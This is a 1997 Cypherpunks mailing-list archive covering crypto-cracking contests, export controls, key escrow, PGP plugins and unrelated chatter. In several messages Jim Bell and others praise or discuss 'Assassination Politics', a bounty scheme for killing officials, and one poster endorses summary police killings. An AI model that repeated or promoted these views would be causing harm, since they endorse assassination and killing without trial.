horrendous grammer at:  http://www.digiforest.com/~erp/poetry.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Erp <erp@digiforest.com>
Date: Wed, 29 Jan 1997 20:25:58 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Best Computer School?
Message-ID: <199701300425.UAA22257@toad.com>
MIME-Version: 1.0
Content-Type: text/plain





On Wed, 29 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> ichudov@algebra.com writes:
> 
> > moscow state university in russia is not bad also.
> > 
> > they teach lots of theory... which is good.
> > 
> > 	- Igor.
> > 
> 
> Do they have a master's program in computer science? :-)

---  I looked up on Moscow State University the other day, after having
seen the message which brought this question.  So yes, they do have a
Master's program in Computer Science, at least they claim to have one.

Erp

> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@homer.sonetis.com>
Date: Wed, 29 Jan 1997 17:26:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Best Computer School?
Message-ID: <199701300126.RAA19235@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Mon 27 Jan, SpyKing queried:

> This is a little off topic but maybe someone can help. I've got a
> teenage son (HS sophomore) who's interested in majoring in computer
> science in college with a particular interest in cryptography. He's
> leaning toward MIT. Any suggestions from list members as to colleges
> to investigate? 

Avi Rubin at NYU has compiled a list of all security- and crypto-
related university courses that he is aware of.  The URL is:

http://www.cs.nyu.edu/~rubin/courses.html

(This was posted on sci.crypt a couple of weeks ago.)

Hope this gives a starting point,

Cynthia

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Charset: cp850

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hWEKkpfF8HVRF5jf4s80x3nhmtMzRLSSXy9L03f/m+I45l9HkTOQ4tX7U3WE42ea
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===============================================================
Cynthia H. Brown
Ottawa, Ontario, Canada
E-mail:     cynthb@sonetis.com
Home Page:  http://www.sonetis.com/~cynthb/
PGP Key:    See Home Page

Junk mail will be ignored in the order in which it is received.

  It is morally as bad not to care whether a thing
  is true or not, so long as it makes you feel
  good, as it is not to care how you got your money
  as long as you have got it.

        - Edmund Way Teale, "Circle of the Seasons"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Wed, 29 Jan 1997 18:11:02 -0800 (PST)
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: PGPmail for Windows, Version 4.5
Message-ID: <199701300211.SAA20126@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On 27 Jan 97 at 22:39, Alan Olsen wrote:

You wrote:

> I would like to see PGPMail support Pegusus Mail for the reason that I have
> used the crypto plug-in for Pegusus and found it inadiquate for general
> usage.

Same here. The PGP plug in was awful... (if it didn't find the key... 
and the key had to have the exact user-id you were mailing to) it 
sent it out in the clear. A serious bug.

> Pegusus's current crypto hooks do not deal well with remailers and multiple
> keys.  PGPMail does not deal with remailers as well as I would like, but it
> is far easier to use than the Pegusus solution.

Might be worth making suggestions to the Pegasus Mail team... now 
that PGPMail is out, they could 'modify' the plug-ins for Version 3.0 
(which I hear they are working on).  Since it's made in New Zealand, 
there's no ITAR/EAR problems.

As for remailers, once crypto is plugged in, a remailer plug-in with 
would work. (That's possibly an easy-enough hack too.)

An API for PGPMail you'd be a nice thing... then one can write apps 
to use it.

Rob


 

-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Wed, 29 Jan 1997 21:10:40 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Internet, Countries, Nationalism, etc.
Message-ID: <199701300510.VAA23037@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	P.J. Westerhof

>Franconics...

Or Lesbonics of course,
.................................................................


le femme fatale

    ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 29 Jan 1997 20:56:13 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: libsln.htm -- Is Libel a Crime?
Message-ID: <199701300456.UAA22790@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:20 AM 1/29/97 -0500, aga wrote:
>On Tue, 28 Jan 1997, jim bell wrote:

>> One obvious problem with the LACK of a criminal libel statute, from the 
>> standpoint of the "government-controlling-class," or "the bigshots," is 
that 
>> it's impossible to sue (and collect from) a (comparatively) poor person for 
>> defaming him...but it's still possible to put him in jail.  Civil libel is, 
>> therefore, essentially useless to a government agent as a means of keeping 
>> the masses in line.  
>> 
>> 
>> Myself, I believe that libel should be eliminated as a cause of action in 
>> civil cases as well as it has, de facto, in the criminal area.  If 
anything, 
>> the ability to sue for libel makes things worse:  There is an illusion that 
>> this is easy and straightforward, if not economical.  It is neither.  The 
>> result is that people are actually MORE likely to believe a printed 
>> falsehood because they incorrectly assume that if it wasn't true, it 
>> couldn't be printed.

>Interesting analysis here, but remember; libel is just one kind of
>"defamation" and an action for defamation will always be actionable.

Sure about that?!?

>The constitution gives us the right to call the President a
>motherfucker any time we want to,

yes...

>and it also gives the motherfucker
>the right to sue.

While admittedly it has been a long time since I've read the entire US 
Constitution, I am not under the impression that it does what you claim.  
Could you be more specific about the particular section which does this?


>  Sueing is better than fighting in the streets.

For the LAWYERS, who are paid regardless of the outcome, that certainly 
appears to be the case.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 29 Jan 1997 21:11:36 -0800 (PST)
To: caronni@tik.ee.ethz.ch>
Subject: Re: RC5-12/32/5 contest solved
Message-ID: <199701300511.VAA23071@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:37 PM 1/28/97 -0800, stewarts@ix.netcom.com wrote:
>Any bets on whether the $5000 RC5-12/32/6 contest will be solved 
>before the www.rsa.com contest status web page is updated?  :-)
>
>Or how long before someone in the government starts talking about
>how 56 bits takes 65,000 times as long to solve as 40 bits, 
>which is 26 years for a whole building full of computers,
>and even 48 bits ought to take a month and a half for a whole
>building full of computers (or supercomputers, if they hype it up....)?


This, as I pointed out long ago, is why I didn't think a "crack the DES key" 
contest is necessarily a good idea, at least if it's ordinary 
Von-Neumann-type computers doing the searching.  It makes DES look 
artificially good.

Assuming it's possible to build a chip which tests solutions in a 
massively-pipelined mode, the 400,000 or so solutions per second tried (for 
what is probably a $2000 machine) would probably increase to 100 million per 
second per chip (at a cost of maybe $100 per chip, if implemented in 
parallel).    That's 5000 times more economical,  which would translate to a 
find in 2-3 days if the same dollars in hardware were invested.

_THAT_ is the break we should hope the media publicizes, not the one that 
will eventually happen when accomplished by PCs or Suns, etc.



Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 29 Jan 1997 20:57:53 -0800 (PST)
To: Sean Roach <cypherpunks@toad.com
Subject: Re: Fighting the cybercensor
Message-ID: <199701300457.UAA22821@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:41 AM 1/29/97 -0800, Sean Roach wrote:
>At 09:40 PM 1/27/97 -0500, Phillip M. Hallam-Baker wrote:
>>Thats because its a whacko solution that has no credibility
>>or consistency. 
>>
>>If anyone tried to set up such a market and a price went out
>>on any of the heads of state fantasized about Mr Bell would be 
>>dead as a doornail in a week.
>>
>So you're saying that the system would work.  Mr. bell would be targeted, a
>price on his head, for starting that very system.  Mr. Bell would be a
>martyr, his system being proven by his own death.  It would be some varient
>of his idea that would be used to kill him, a bounty.

Exactly correct.   I will be killed by AP, my own invention. (however, I 
will be killed for merely DESCRIBING it, not only if I started the first 
instance of it.)   Before I'd published the first part of AP, I knew and 
accepted what was going to happen.  See AP part 7, at the end, quoted here:




"Awe, that a system could be produced by a handful of people that 
would rid the world of the scourge of war, nuclear weapons, governments, and 
taxes.  Astonishment, at my realization that once started, it would cover 
the entire globe inexorably, erasing dictatorships both fascistic and 
communistic, monarchies, and even so-called "democracies," which as a 
general rule today are really just the facade of government by the special 
interests.  Joy, that it would eliminate all war, and force the dismantling 
not only of all nuclear weapons, but also all militaries, making them not 
merely redundant but also considered universally dangerous, leaving their 
"owners" no choice but to dismantle them, and in fact no reason to KEEP them!"

"Terror, too, because this system may just change almost EVERYTHING how we 
think about our current society, and even more for myself personally, the 
knowledge that there may some day be a large body of wealthy people who are 
thrown off their current positions of control of the world's governments, 
and the very-real possibility that they may look for a "villain" to blame 
for their downfall.  They will find one, in me, and at that time they will 
have the money and (thanks to me, at least partially) the means to see their 
revenge.  But I would not have published this essay if I had been unwilling 
to accept the risk."



Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Leonid S Knyshov <wiseleo@juno.com>
Date: Wed, 29 Jan 1997 22:10:51 -0800 (PST)
To: mjw@VNET.IBM.COM
Subject: Re: Altavista
Message-ID: <199701300610.WAA24295@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Isn't it the future of internet advertising? I mean its just like Juno's
and other companies, the only ads shown to customers are those that are
relevant to their needs as submitted. Like do a search for web promotion
and you are gonna get ads of various services etc.

It is highly unlikely that detailed logs are kept since Alta-vista gets overwhelming number of hits. The way I go around all these ads is that I
use Internet Fast Find by symantec and I love it, I purchased it after
evaluating for 3 days. Sorry for commercial ;)

I think it is a good idea, no wonder doubleclick.net is one of the
leaders in advertising. You are shown only the ads that will potentially
interest you, search for shopping and you are gonna get one of those ISN
ads etc. 

I think it is a good idea FWIW.

I wouldn't think that a company such as doubleclick.net will do you any
harm.

One of my job assignments is Internet research and I search for such
variety of topics that those robots have no use on the information
submitted.

On the other hand, if I find my site on Altavista and go to it, in my referer_log I will see the entire search query and that is a valuable
marketing information, you learn about how the customer found you etc.

Well, this list isn't marketing101@anywhere.com so I am afraid I won't
bother with more thorough explation :)

I am sorry if you consider this an OFFtopic message but I am just
answering the question. 

On Wed, 29 Jan 97 01:03:35 EST mjw@VNET.IBM.COM writes:
>From:    Mark Waddington
>Subject: Altavista
>
>> However, the doubleclick.net ads appear to bear no relationship to 
>the
>> keywords being searched...
>
>Interestingly, I've just noticed over the last couple of days that the 
>in-line
>ads are directly relevant to the search words I enter. I did a search 
>yesterday
>on "Quicken" and "security" and all the in-line ads I was shown 
>referred to
>security or penetration detection products.
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 29 Jan 1997 20:41:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor
Message-ID: <199701300441.UAA22476@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"Phillip M. Hallam-Baker" <hallam@ai.mit.edu> writes:
> The Cold War was not won by the arms race, it was won in
> Eastern Europe which was never a major participant. The main
> instrument that won it was West German TV which broadcast
> pictures of supermarkets with full shelves into the homes
> of East Germans every night. The viewers could see that it
> was not mere propaganda and their relatives confirmed the
> fact. As a result the East German guards on the Berlin wall
> simply decided to leave their posts one night.

Do a lot of Americans really believe such things?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Hornbeck <rnh2@ix.netcom.com>
Date: Wed, 29 Jan 1997 22:10:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: The Politics of Export Restrictions
Message-ID: <199701300610.WAA24288@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Is it possible the unreasonable crypto export restrictions are simply being
imposed at this time for the purpose of making Al Gore look good when he
runs for President in 2000?

In other words, his campaign could include promises to retract existing
crypto export restrictions established by his predecessor. The campaign
would be accompanied by slogans and rhetoric such as "export crypto, not
jobs" and the crypto/high-tech community would support Gore and the
Democratic party in droves.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 29 Jan 1997 20:40:56 -0800 (PST)
To: aaron@herringn.com
Subject: Re: News report RE:RSA Data Security Conference, pointer
Message-ID: <199701300440.UAA22452@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I don't think CNET has any idea what they're talking about. Perhaps they
mean the Burns bill?

I was over at Burns' office yesterday, and Pro-CODE hasn't been
reintroduced yet -- they're looking for more co-sponsors -- so that's not
even correct.

*shrug*

I have a report on this at netlynews.com in the Afterword section, BTW.

-Declan

On Wed, 29 Jan 1997 aaron@herringn.com wrote:

> Report on RSA data security conference. Mentions 'Legislation in Congress
> could ban mandatory key storage', anyone know what they're referring to?
> 
> http://www.news.com/News/Item/0,4,7437,00.html
> 
> 
> 
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Wed, 29 Jan 1997 20:41:13 -0800 (PST)
To: f_estema@alcor.concordia.ca
Subject: Re: Last nail for US crypto export policy?
Message-ID: <199701300441.UAA22482@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 29 Jan 1997 f_estema@alcor.concordia.ca wrote:
[stuff]
> 
> Incidentally, I remind you of the results of the moot court that was held 
> at one of the CFP conferences, where a GAK case was tried in front of 
> real federal judges by real lawyers. Our side lost.
> 

Um.  Actually the real judges didn't render an opinion (in public) since
they might have to rule for real someday and would probably be conflicted
out if they had ruled on the merits in a mock trial.  The opinions were by
a shadow panel of law professors, and they disagreed, 2-1. 
==
The above may have been dictated via Dragon Dictate 2.51 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Wed, 29 Jan 1997 21:55:53 -0800 (PST)
To: devnull@manifold.algebra.com
Subject: Re: Fighting the cybercensor
Message-ID: <199701300555.VAA23931@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> Exactly correct.   I will be killed by AP, my own invention. (however, I 
> will be killed for merely DESCRIBING it, not only if I started the first 
> instance of it.)   Before I'd published the first part of AP, I knew and 
> accepted what was going to happen.  See AP part 7, at the end, quoted here:
> 

See, Phill, I was right.

igor





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 29 Jan 1997 23:10:39 -0800 (PST)
To: Mike McNally <nowhere@erewhon.org>
Subject: Re: Sovreign Right of Lawful Access
Message-ID: <199701300710.XAA25411@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:11 PM 1/28/97 -0600, Mike McNally wrote:
>Somebody wrote:
>> 
>> This morning at the RSA keynote, David Aaron, the US Crypto 
>> ambassador quoted the "Sovreign Right of Lawful Access" as
>> something that goverments were determined to preserve.
>
>Speaking as a private indiwidual, and not as a drone in the employ
>of IBM (don't get me started on the "but wait, key recovery *isn't*
>the same as key escrow" hoo-ha), that dude scared the piss out of
>me.


I think that terminology is odd. They're getting desperate.  "Soverign Right 
of Lawful Access" doesn't state HOW DIFFICULT that "access" is to be.  
Interpreted broadly, that would outlaw any encryption even if it only 
impeded that access a tiny bit!

Or under an alternative interpretation, the mere fact that it is 
hypothetically possible to decrypt a message means that nothing (other than 
mathematical improbability) stands in the way of doing the decrypt.


Also, it didn't say SECRET ACCESS, although experience tells us that they 
(the thugs) probably assume this.  I've long pointed out that ordinary 
search warrants require informing people who are being searched, even if 
they're not home and assuming the thugs didn't trash the place the way they 
frequently like to.  

I see no reason to believe that the advent of telephone technology in the 
late 1800's should have retroactively re-written the US Constitution to make 
secret searches okay.  Technically, the Bill of Rights prohibits 
"unreasonable searches and siezures," and doesn't specifically mention the 
secrecy issue, but since (am I correct in this, Real Lawyers <tm>?) the 
practice up until that time required people searched to be informed of 
searches, a change in policy that wiretaps could be secret sounds more like 
taking advantage of a technological windfall, not "discovering" that the 
Constitution allowed something that had always before been prohibited.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ben Byer <root@bushing.plastic.crosslink.net>
Date: Wed, 29 Jan 1997 20:41:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: DES challenge status?
Message-ID: <199701300441.UAA22483@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

What exactly is the status of RSA's DES contest?  I understand that at
least two of the smaller contests have already been cracked, but I
haven't seen much beyond theoretical discussion on the list on the
topic of the DES contest.

What work has been started on this contest?  I am aware of Peter
Trei's excellent deskr software for win32, but at the moment it chokes
on RSA's real contest data as distributed.  Has anybody yet worked on
porting a version to x86 Linux, with nice, fast, inline assembly?

How about a keyrange-server?  This contest is so huge that any procedural
innovations will probably be much more helpful than getting an early
start.  Has anybody started work on this yet, or is everyone else
waiting for someone else to do it?

- -- 
Ben Byer    root@bushing.plastic.crosslink.net    I am not a bushing

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Version: 2.6.2

iQB1AwUBMvAb/LD5/Q37XXHFAQFxtQL/b7PeoWoO8gW0R35eOcA7yDmNOzg5IbIX
xbrWkX0D7Tnj+8BxeQkRs2lOhhB6D6V/oh7RO6zMUwbNVaPDng0vjZXEmHAUVPnL
XwSfekx47rgc43mVuXJoyval1zZuKDjE
=h76F
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Abelson <hal@hal.hpl.hp.com>
Date: Thu, 30 Jan 1997 00:55:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Best Computer School?
Message-ID: <199701300855.AAA27381@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Rick Osborne <osborne@gateway.grumman.com> writes:

   The only thing I didn't have that the next MIT applicant had was money.  I
   made the mistake of letting them know that I was dirt poor and would need
   full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
   Russian front!"

Just to set the record straight, MIT's admissions is need-blind.  Lots
of things go into our admissions decisions, but whether or not an
applicant needs financial aid is not one of them.  Admissions and
financial aid are handled out of separate offices, and the people
making the admissions decisions don't even see the financial aid
requests.

One exception: We are experimenting with the possibility of
considering the amount of aid needed in the case of a few
international applicants, but even here this is only a minor
consideration for a small number of applicants.  For domestic
applicants, financial aid plays no role at all in the admissions
decision.

-- Hal Abelson






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <see.sig@for.address.real>
Date: Thu, 30 Jan 1997 00:55:37 -0800 (PST)
To: Ben Byer <root@bushing.plastic.crosslink.net>
Subject: Re: DES challenge status?
Message-ID: <199701300855.AAA27380@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Ben Byer wrote:
>=20
> -----BEGIN PGP SIGNED MESSAGE-----
>=20
> What exactly is the status of RSA's DES contest?  I understand that at
> least two of the smaller contests have already been cracked, but I
> haven't seen much beyond theoretical discussion on the list on the
> topic of the DES contest.
>=20

=09Two? The only publicized solution so far is the
RC5/32/12/5 solution from Ian Goldberg at Berkeley
(and independently from Germano Caronni at ETH Z=FCrich).

=09Are you saying that you know that the 48 bit RC5
contest is solved already, or are you just counting Ian's
and Germano's solutions separately?

--
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 30 Jan 1997 00:55:50 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: FBI=LIE
Message-ID: <199701300855.AAA27403@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Shostack wrote:
> http://www.nytimes.com/yr/mo/day/news/washpol/fbi-lab.html
> Login cypherpunks, password cypherpunks.
> WASHINGTON -- For decades the FBI's reputation as a crime-fighting
> agency has rested heavily on its high-tech forensic laboratory, which
> could solve baffling crimes from a speck of blood, a sliver of paint
> or the thinnest filament of human hair.
>             But an investigation by the Justice Department's inspector
> general has put the FBI laboratory, and the way the agency has
> used it, under the glare of public scrutiny. The findings, which were
> turned over to FBI officials last week, are threatening to shatter the
> image of an agency on the cutting edge of scientific sleuthing.

The L.A. Times today (Wed) ran an article telling about three top
lab people working on the OKC bombing case, and how they were moved
or scuttled due to discrepancies.  This was a new development.

You'll note also that although Fujisaki (sp?) in the 2nd O.J. trial
did not permit it to be introduced (to my knowledge), there was
evidence that a high-up FBI lab person who testified in the first
trial falsified or seriously distorted certain facts to help the
prosecution.  This may yet be pursued like the Fuhrman thing.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "P.J. Westerhof" <p.j.wester@NGI.NL>
Date: Wed, 29 Jan 1997 15:43:21 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: RE: Internet, Countries, Nationalism, etc.
Message-ID: <199701292343.PAA16364@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 20:06 27-01-97 -0500, Hettinga wrote:
>At 7:39 pm -0500 1/26/97, blanc wrote:
>>p.s.   I be femme
>        ^^^^^^^^^^
>
>Franconics...

Or Lesbonics of course,

Skol,
Peter


_________________________________________________________

   P.J. Westerhof  LL.D                      
   e-mail           P.J.WESTER@NGI.NL     |        Computerlaw
   voice            +31-347-375400                |        Legal informatics
   fax/data        +31-347-375400                |        IT - consultancy
   Web:            www.ngi.nl/cr/                   |        Soaring
_________________________________________________________






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 30 Jan 1997 00:56:01 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701300856.AAA27419@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


aga wrote:
> On Tue, 28 Jan 1997, Dale Thorn wrote:
> > aga wrote:
> > > On Tue, 28 Jan 1997, Dale Thorn wrote:
> > > > > > But seriously, I was just telling the folks over the weekend, if I
> > > > > > had my hand on the button, a lot of people would die very quickly.
> > > > > > As in The Day The Earth Stood Still, a single act of aggression would
> > > > > > suffice to be immediately terminated.
> > > No trial, huh?
> > Good question.  The law we have right now already assumes that there
> > are situations where a criminal will not go peacefully, if at all.
> > In some countries (years ago?) such as England, bobbies were known
> > to not carry firearms for ordinary street duty.  Am I right?  But
> > here in the USA, that would be unthinkable.
> > So my proposal doesn't eliminate the responsibility portion of law
> > enforcement.  I'd say, if a target were eliminated thru negligence,
> > malfeasance, or other wrongdoing under "color of law" or whatever,
> > let the courts handle that as they do now.
> Just who is doing the eliminating?
> > My suggestion would give the law enforcers the ability to dispense
> > the first level of justice expeditiously, which they cannot accomplish
> > now due to all of the red tape and the corrupt legal system (lawyers
> > specialize in getting chronic offenders off, particularly "traffic"
> > offenses).  By transferring a major portion of the bureaucracy to
> > the pencil pushers, we can free up the street cops to do what they
> > do best, namely bust or eliminate criminals.

> Cops can never be trusted to "dispense justice," and half of the
> cops are themselves criminals in what they do.  Most cops steal
> evidence and lie like crazy in Court.  All they want is a conviction,
> and it mattters not how it is obtained.

All true.  But I'm not suggesting the creation of anything new here.
Cops already carry guns and kill people.  All I'm suggesting is that
they be empowered to kill when:
1) The crime is aggression against another person or persons;
2) The evidence is so solid (recorded?) that the officer (who risks
   being prosecuted if he kills unjustifiably) can carry out the
   enforcement without undue apprehension;
3) These things are reviewed by the elected representatives of the
   people, to make sure there's no hanky-panky going on.

> > I dare say that the downside of this is much less pleasant than the
> > virtual anarchy (in the bad sense) we suffer now.  If the police get
> > out of control, A.P. will arrive just in time to plug a few of those
> > holes, so to speak.  Ideally, future robotics should be able to
> > provide something like Gort (sp?) to take the place of human officers,
> > given advances in the kind of pattern matching needed to deter
> > aggression and the like.  Those who don't make it past the robots,
> > well, the rest of us can learn to behave, and we'll be much better
> > off when we do.
> 
> I would trust robots more than humanoids.

The Gort (sp?) robot is a perfect example, and I don't think it's
all that many years away.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 30 Jan 1997 00:55:45 -0800 (PST)
To: Rick Hornbeck <rnh2@ix.netcom.com>
Subject: Re: The Politics of Export Restrictions
Message-ID: <199701300855.AAA27401@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:44 PM 1/29/97 -0800, Rick Hornbeck wrote:

>Is it possible the unreasonable crypto export restrictions are simply being
>imposed at this time for the purpose of making Al Gore look good when he
>runs for President in 2000?

I suppose it's plausible, but it's an opportunity open to both candidates,
and more plausibly (because of lack of collaboration) to the Republicans -
e.g., Dan Quayle and the "Crypto Freedom For Americans" platform, promising
to rescue Silicon Valley from those evil regulatory Democrats. 

If I were an evil politician trying to set up a trick like you suggest, I
think I'd want a scheme that my opponent(s) couldn't hijack and use against
me.

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 30 Jan 1997 00:55:56 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: Fighting the cybercensor
Message-ID: <199701300855.AAA27411@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sean Roach wrote:
> At 08:15 PM 1/28/97 -0800, Steve Schear wrote:
> >I think a hole in your thinking is to assume that the assasins have no
> >motive other than financial gain.  I would submit that there are those that
> >have the skills, training and a political agenda coherent with the
> >wagerers, lacking only the financial incentive to make the risks
> >acceptable.  These wetworkers won't consider accepting the bribe of the
> >rich/powerful

> This may be true, but the example was to show how easy a defensive line
> could be thrown up around the powerful.  For example, conventional body
> guards could be included, ones with no real pay but with the fore knowledge
> that they will be buried with the tyrant.  These body guards could be ten
> children out of each local village.  Merely a human shield.

[snippo]

In Prizzi's Honor, Nicholson sez "If you try to hide in a submarine on
the bottom of the ocean, we will find you".  But it's not even that
difficult.  Lob a missile into the place and blow it up.  Earth
penetrators are getting better too, for the Sadaam types.  And
there's a zillion more.  Does this "rich person" really want to
spend his/her life living in a sealed tomb?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 30 Jan 1997 07:27:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Last nail for US crypto export policy?
Message-ID: <199701301527.HAA05666@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:45 AM 1/29/97 -0500, Dan Geer wrote:
>Steve is absolutely right on the money, particularly about the likely
>happiness on the government side.

I pretty much agree.  On the other hand, Ian did a nice job on the
radio (NPR, probably was All Things Considered) of pushing the
"look, if a college student can break 40 bits in a couple of hours,
it's really stupid for the government to limit us like this";
a couple of other people also contributed spin, and it came out
pretty strongly against export restrictions.

I think we do need to get some sort of push going for 3DES as a
replacement for DES - it's strong enough, even though DES is showing
its age, and it's an obvious transition from the current technology.
It's slower and clunkier than IDEA or RC4/128, but still not bad.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike McNally <m5@vail.tivoli.com>
Date: Thu, 30 Jan 1997 00:55:47 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Sovreign Right of Lawful Access
Message-ID: <199701300855.AAA27402@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> 
> I see no reason to believe that the advent of telephone technology 
> in the late 1800's should have retroactively re-written the US 
> Constitution ...

This point, unfortunately, seems to be lost in the woods.  At the
panel discussions in this conference, so many people used phrases
like "... law enforcement doing what they need to do..." on *both*
sides of the GAK fence.  "Need" to do?  Well, they might "need" to
do lots of things under their own view of reality, but that doesn't
mean it's reasonable to negotiate towards that position.  Why is
it that just because one party shows up with a wacked-out agenda that
the "honorable" thing to do is work towards a consensus solution?

-- 
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mutatis Mutantdis <wlkngowl@unix.asb.com>
Date: Wed, 29 Jan 1997 18:11:02 -0800 (PST)
To: Mark Rogaski <cypherpunks@toad.com
Subject: Re: Workaround for filtering/cybersitter
Message-ID: <199701300211.SAA20125@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On 29 Jan 1997 17:33:41 -0500, you wrote:

>If I had experience with Netscape plugins and spare time, I'd
